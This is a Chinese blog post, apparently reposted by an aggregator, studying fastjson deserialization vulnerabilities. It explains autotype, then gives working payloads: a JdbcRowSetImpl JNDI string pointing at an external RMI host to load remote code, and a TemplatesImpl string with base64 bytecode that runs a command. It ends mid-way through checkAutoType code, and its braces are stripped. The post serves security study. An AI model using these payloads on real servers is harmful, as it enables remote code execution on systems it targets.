[Java安全]fastjson学习

Posted bfengj

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了[Java安全]fastjson学习相关的知识,希望对你有一定的参考价值。

前言

之前的文章的补充了,咕了半年再好好学学fastjson。

初认fastjson

Fastjson 是一个 Java 库,可以将 Java 对象转换为 JSON 格式,当然它也可以将 JSON 字符串转换为 Java 对象。

Fastjson 可以操作任何 Java 对象,即使是一些预先存在的没有源码的对象。

它关键的方法就是三个:

  • 将对象转换成JSON字符串:JSON.toJSONString
  • 将JSON字符串转换成对象:JSON.parseJSON.parseObject()

简单的写个类:

package com.feng.pojo;

public class Student 
    private String name;
    private int age;

    public Student() 
        System.out.println("构造函数");
    

    public String getName() 
        System.out.println("getName");
        return name;
    

    public void setName(String name) 
        System.out.println("setName");
        this.name = name;
    

    public int getAge() 
        System.out.println("getAge");
        return age;
    

    public void setAge(int age) throws Exception
        System.out.println("setAge");
        //Runtime.getRuntime().exec("calc");
        this.age = age;
    
    public void setTest(int i)
        System.out.println("setTest");
    

之所以会有这么个setTest(),后面会聊到。

来测试一下对象转JSON字符串:

        Student student = new Student();
        student.setAge(18);
        student.setName("feng");
        System.out.println("====================");
        String jsonString1 = JSON.toJSONString(student);
        System.out.println("====================");
        String jsonString2 = JSON.toJSONString(student, SerializerFeature.WriteClassName);
        System.out.println(jsonString1);
        System.out.println(jsonString2);
构造函数
setAge
setName
====================
getAge
getName
====================
getAge
getName
"age":18,"name":"feng"
"@type":"com.feng.pojo.Student","age":18,"name":"feng"

可以看到,调用JSON.toJSONString会自动调用类的getter

可以发现这个SerializerFeature.WriteClassName,设置的话就会加上@type,指明类。

再试试JSON字符串转对象:

        String jsonString1 = "\\"age\\":18,\\"name\\":\\"feng\\"";
        String jsonString2 = "\\"@type\\":\\"com.feng.pojo.Student\\",\\"age\\":18,\\"name\\":\\"feng\\"";
        System.out.println(JSON.parse(jsonString1));
        System.out.println("======================");
        System.out.println(JSON.parse(jsonString2));
        System.out.println("======================");
        System.out.println(JSON.parseObject(jsonString1));
        System.out.println("======================");
        System.out.println(JSON.parseObject(jsonString2));
        System.out.println("======================");
"name":"feng","age":18
======================
构造函数
setAge
setName
com.feng.pojo.Student@7bb11784
======================
"name":"feng","age":18
======================
构造函数
setAge
setName
getAge
getName
"name":"feng","age":18
======================

可以发现parseObject最后得到的还是JSON对象。看一下源码可以知道,parseObject其实就是调用一次parse,然后转换成JSONObject

    public static JSONObject parseObject(String text) 
        Object obj = parse(text);
        if (obj instanceof JSONObject) 
            return (JSONObject) obj;
        

        return (JSONObject) JSON.toJSON(obj);
    

还可以发现,如果不带上@type指明类名,是没法得到类对象的。

如果指明了类名,使用parse的时候,不仅会得到对象,还会调用这个对象的setter;使用的是parseObject的话,不仅会得到对象且调用setter,还会调用getter

这种利用@type的机制也叫autotype

autotype 是 Fastjson 中的一个重要机制,粗略来说就是用于设置能否将 JSON 反序列化成对象。

这种会调用settergetter的机制,很容易想到之前CommonsBeanutils1文章里的PropertyUtils.getProperty,将会调用对应属性的getter,而且不是说那种调用,是get+属性,调用这种方法。

因此同理我在类中设置了一个setTest方法,但是不存在test属性。经过测试,如果JSON字符串里有了test键,在parse的时候也确实会调用这个方法,其实这时候就多少会联想到TemplatesImplgetOutputProperties。不过这个之后再谈。

后续补充:

set开头的方法要求如下:

  • 方法名长度大于4且以set开头,且第四个字母要是大写
  • 非静态方法
  • 返回类型为void或当前类
  • 参数个数为1个

get开头的方法要求如下:

  • 方法名长度大于等于4
  • 非静态方法
  • 以get开头且第4个字母为大写
  • 无传入参数
  • 返回值类型继承自Collection Map AtomicBoolean AtomicInteger AtomicLong

JdbcRowSetImpl利用链

知道了这些东西,如果parse或者parseObject的字符串可控的话,是否可以造成攻击呢?

这就引出了fastjson的两种攻击方式。好用的肯定还是这个JNDI攻击方式。

关于JNDI注入的相关知识,上一篇已经提到了,就不再多阐述了。

关键就是JdbcRowSetImpl类的setDataSourceName()方法和setAutoCommit方法。看一下这个利用链是怎么攻击的:

    public void setAutoCommit(boolean var1) throws SQLException 
        if (this.conn != null) 
            this.conn.setAutoCommit(var1);
         else 
            this.conn = this.connect();
            this.conn.setAutoCommit(var1);
        
    

如果this.conn为null的话,会进入this.connect()

    private Connection connect() throws SQLException 
        if (this.conn != null) 
            return this.conn;
         else if (this.getDataSourceName() != null) 
            try 
                InitialContext var1 = new InitialContext();
                DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());

可以很清楚的看到下面两行,很明显的一个JNDI。想办法得让this.getDataSourceName()可控:

    public String getDataSourceName() 
        return dataSource;
    

也就是要控制dataSource属性。跟进一下setDataSourceName()

    public void setDataSourceName(String var1) throws SQLException 
        if (this.getDataSourceName() != null) 
            if (!this.getDataSourceName().equals(var1)) 
                super.setDataSourceName(var1);
                this.conn = null;
                this.ps = null;
                this.rs = null;
            
         else 
            super.setDataSourceName(var1);
        
    public void setDataSourceName(String name) throws SQLException 

        if (name == null) 
            dataSource = null;
         else if (name.equals("")) 
           throw new SQLException("DataSource name cannot be empty string");
         else 
           dataSource = name;
        

        URL = null;
    

直接设置就好了。构造一波:

\\"@type\\":\\"com.sun.rowset.JdbcRowSetImpl\\",\\"dataSourceName\\":\\"rmi://121.5.169.223:39654/feng\\", \\"autoCommit\\":true
        String jsonString1 = "\\"@type\\":\\"com.sun.rowset.JdbcRowSetImpl\\",\\"dataSourceName\\":\\"rmi://121.5.169.223:39654/feng\\", \\"autoCommit\\":true";
        JSON.parse(jsonString1);

TemplatesImpl利用链

给我看的脑子疼。跟进的太嘛了,也是跟了一遍,很懵,可以自己跟进一遍叭。

总的来说,既然想到利用TemplatesImpl,就是调用getOutputProperties,但是parse不应该只调用setter吗?关键就在于这里。打断点跟进一下就会发现,当解析到_OutputProperties的时候在这里设置值:

继续跟进,可以发现在setValue里面的第66行得到了这个getOutputProperties方法

并且进入了这里的if,调用了这个方法:

试得TemplatesImpl可以利用。接下来就是联想一下反序列化中的TemplatesImpl

        byte[] bytes = Base64.getDecoder().decode("xxx");
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates,"_bytecodes",new byte[][]bytes);
        setFieldValue(templates,"_name","feng");
        setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());

设置这三个属性,然后调用getOutputProperties方法即可。

不过这种方法有很大的局限,就是private属性的还原。上面讲fastjson的时候用到的Student类的属性都是private,也都成功还原了。但是你仔细想想,是因为我加了setter啊。private属性咋可能会有setter?这就导致了,要还原private属性的话,需要加上个Feature.SupportNonPublicField才可以:

JSON.parse(jsonString, Feature.SupportNonPublicField);

给出构造的payload:

        String jsonString = "\\"@type\\":\\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\\",\\"_bytecodes\\":[\\"yv66vgAAADQANAoACAAkCgAlACYIACcKACUAKAcAKQoABQAqBwArBwAsAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEAAWUBABVMamF2YS9pby9JT0V4Y2VwdGlvbjsBAAR0aGlzAQAGTEV2aWw7AQANU3RhY2tNYXBUYWJsZQcAKwcAKQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApFeGNlcHRpb25zBwAtAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApTb3VyY2VGaWxlAQAJRXZpbC5qYXZhDAAJAAoHAC4MAC8AMAEABGNhbGMMADEAMgEAE2phdmEvaW8vSU9FeGNlcHRpb24MADMACgEABEV2aWwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAD3ByaW50U3RhY2tUcmFjZQAhAAcACAAAAAAAAwABAAkACgABAAsAAAB8AAIAAgAAABYqtwABuAACEgO2AARXpwAITCu2AAaxAAEABAANABAABQADAAwAAAAaAAYAAAAKAAQADAANAA8AEAANABEADgAVABAADQAAABYAAgARAAQADgAPAAEAAAAWABAAEQAAABIAAAAQAAL/ABAAAQcAEwABBwAUBAABABUAFgACAAsAAAA/AAAAAwAAAAGxAAAAAgAMAAAABgABAAAAFQANAAAAIAADAAAAAQAQABEAAAAAAAEAFwAYAAEAAAABABkAGgACABsAAAAEAAEAHAABABUAHQACAAsAAABJAAAABAAAAAGxAAAAAgAMAAAABgABAAAAGgANAAAAKgAEAAAAAQAQABEAAAAAAAEAFwAYAAEAAAABAB4AHwACAAAAAQAgACEAAwAbAAAABAABABwAAQAiAAAAAgAj\\"],\\"_name\\":\\"feng\\",\\"_tfactory\\":,\\"_outputProperties\\":";

        JSON.parse(jsonString, Feature.SupportNonPublicField);

可以很奇怪的发现,_bytecodes那里使用了base64编码,这是取了Evil.class然后Base64编码。原因就在于,最后在这里得到bytes的时候:

                     else 
                        val = deserializer.deserialze(this, type, i);
                    
        if (lexer.token() == JSONToken.LITERAL_STRING) 
            byte[] bytes = lexer.bytesValue();
            lexer.nextToken(JSONToken.COMMA);
            return (T) bytes;
        
public byte[] bytesValue() 
    return IOUtils.decodeBase64(text, np + 1, sp);

_bytecode的值进行了base64解码。可以自己跟一下代码看看。所以需要base64编码。

其实想想这种处理方式是很正确的,因为这种字节数组,很容易有不可见字符,所以加一层base64才行。

fastjson 1.2.25-1.2.41

在1.2.24的基础上增加了checkAutoType()方法:

    public Class<?> checkAutoType(String typeName, Class<?> expectClass) 
        if (typeName == null) 
            return null;
        

        final String className = typeName.replace('$', '.');

        if (autoTypeSupport || expectClass != null) 
            for (int i = 0; i < acceptList.length; ++i) 
                String accept = acceptList[i];
                if (className.startsWith(accept)) 
                    return TypeUtils.loadClass(typeName, defaultClassLoader);
                
            

            for (int i = 0; i < denyList.length; ++i) 
                String deny = denyList[i];
                if (className.startsWith(deny)) 
                    throw new JSONException("autoType is not support. " + typeName);
                
            
        

        Class<?> clazz = TypeUtils.getClassFromMapping(typeName);
        if (clazz == null) 
            clazz = deserializers.findClass(typeName);
        

        if (clazz != null) 
            if (expectClass != null && !expectClass.isAssignableFrom(clazz)) 
                throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
            

            return clazz;
        

        if (!autoTypeSupport) 
            for (int i = 0; i < denyList.length; ++i) 
                String deny = denyList[i];
                if (className.startsWith(deny)) 
                    throw new JSONException("autoType is not support. " + typeName);
                
            
            for (int i = 0; i < acceptList.length; ++i) 
                String accept = acceptList[i];
                if (className.startsWith(accept)) 
                    clazz = TypeUtils.loadClass(typeName, defaultClassLoader);

                    if (expectClass != null && expectClass.isAssignableFrom(clazz)) 
                        throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
                    
                    return clazz;
                
            
        

        if (autoTypeSupport || expectClass != null) 
            clazz = TypeUtils.loadClass(typeName, defaultClassLoader);
        

        if (clazz != null) 

            if (ClassLoader.class.isAssignableFrom(clazz) // classloader is danger
                    || DataSource.class.isAssignableFrom(clazz) // dataSource can load jdbc driver
                    ) 
                throw new JSONException("autoType is not support. " + typeName);
            

            if (expectClass != null) 
                if (expectClass.isAssignableFrom(clazz)) 
                    return clazz;
                 else 
                    throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
                
            
        

        if (!autoTypeSupport以上是关于[Java安全]fastjson学习的主要内容,如果未能解决你的问题,请参考以下文章

[Java安全]fastjson学习

[Java安全]fastjson学习

[Java安全]fastjson学习

Java安全之FastJson JdbcRowSetImpl 链分析

JAVA详细思路|Java安全之FastJson JdbcRowSetImpl 链分析

13-java安全——fastjson1.2.24反序列化TemplatesImpl利用链分析